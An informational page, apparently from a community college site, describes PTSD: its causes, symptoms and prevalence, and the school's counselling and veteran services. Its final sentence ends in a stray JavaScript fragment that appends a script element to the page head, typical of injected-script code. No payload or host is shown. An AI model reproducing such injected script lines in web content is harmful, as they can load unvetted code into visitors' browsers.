Post-traumatic stress disorder (PTSD) is a mental disorder that can develop after a person is exposed to a traumatic event. Sexual assault, warfare, traffic collisions, or other threats on a person’s life can cause people of all ages to suffer from PTSD. Symptoms may include night terrors, flash backs and other outbursts relating their triggers. These symptoms last for more than just a month after the event even years depending on the severity of the mental disorder. Young children are less likely to show distress but instead may express their memories through play.

Post-traumatic stress disorder, is a serious potentially debilitating condition that can occur in people who have experienced or witnessed a natural disaster, serious accident, terrorist incident, sudden death of a loved one, war, violent personal assault such as rape, or other life-threatening events; such as the 9/11 terrorist attacks and those in cities around the world (Orlando and Paris, for example) or the bombings at the 2013 Boston Marathon, or active combat. Research has recently shown that PTSD among military personnel may be a physical brain injury, specifically of damaged tissue, caused by blasts during combat.

With 7.7 million Americans age 18 and older suffering from PTSD 67 percent of people exposed to mass violence have been shown to develop PTSD, a higher rate than those exposed to natural disasters or other types of traumatic events. People who have experienced previous traumatic events run a higher risk of developing PTSD. PTSD can also affect children and members of the military. Here at Central Arizona College we do offer military benefits and have the disabilities program that offers counseling and help with things such as note takers and other benefits; both of these can be found on the CAC website, under the disabilities link and Veteran benefits.d.getElementsByTagName(‘head’)[0].appendChild(s);